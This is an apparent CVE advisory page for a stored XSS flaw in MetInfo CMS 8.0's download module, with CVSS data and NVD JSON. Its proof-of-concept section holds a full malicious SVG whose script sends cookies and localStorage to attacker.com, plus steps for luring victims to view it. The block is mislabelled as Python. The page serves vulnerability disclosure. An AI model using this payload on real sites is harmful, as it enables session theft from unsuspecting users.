Security Vulnerability Report
中文
CVE-2025-60452 CVSS 6.1 MEDIUM

CVE-2025-60452

Published: 2025-10-03 14:15:47
Last Modified: 2025-10-07 15:27:24

Description

A stored Cross-Site Scripting (XSS) vulnerability has been discovered in MetInfo CMS version 8.0. The vulnerability exists in the download management module, specifically in the app\system\download\admin\download_admin.class.php component. The vulnerability allows attackers to upload malicious SVG files containing JavaScript code that executes when the uploaded file is viewed or accessed by users.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:metinfo:metinfo:8.0.0:*:*:*:*:*:*:* - VULNERABLE
MetInfo CMS 8.0
MetInfo CMS <= 8.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-60452: MetInfo CMS 8.0 Stored XSS via SVG File Upload --> <!-- Malicious SVG file that executes JavaScript when viewed in browser --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="500" height="500" onload="alert(document.cookie);evil_script()"> <script type="text/javascript"> // XSS payload - steal cookies and send to attacker's server function evil_script() { var cookie = document.cookie; var session = document.sessionStorage; var local = JSON.stringify(localStorage); // Exfiltrate sensitive data to attacker-controlled server var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookie) + '&session=' + encodeURIComponent(local); // Optional: redirect user to phishing page // window.location = 'https://attacker.com/phishing'; } </script> <rect x="0" y="0" width="500" height="500" fill="#FFFFFF"/> <text x="50" y="250" font-size="30">Download Document</text> </svg> <!-- Usage: --> <!-- 1. Save this file as malicious.svg --> <!-- 2. Login to MetInfo CMS admin panel --> <!-- 3. Navigate to Download Management module --> <!-- 4. Upload the malicious.svg file --> <!-- 5. Share the file URL with victims or wait for them to access it --> <!-- 6. When any user views the SVG file, the JavaScript executes automatically -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60452", "sourceIdentifier": "[email protected]", "published": "2025-10-03T14:15:46.800", "lastModified": "2025-10-07T15:27:24.350", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored Cross-Site Scripting (XSS) vulnerability has been discovered in MetInfo CMS version 8.0. The vulnerability exists in the download management module, specifically in the app\\system\\download\\admin\\download_admin.class.php component. The vulnerability allows attackers to upload malicious SVG files containing JavaScript code that executes when the uploaded file is viewed or accessed by users."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:metinfo:metinfo:8.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "A86CC57E-FD95-43D3-A9CE-1153FC3C8684"}]}]}], "references": [{"url": "https://snowhy77.github.io/2025/08/22/Stored-XSS-in-MetInfo-Download-Module/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}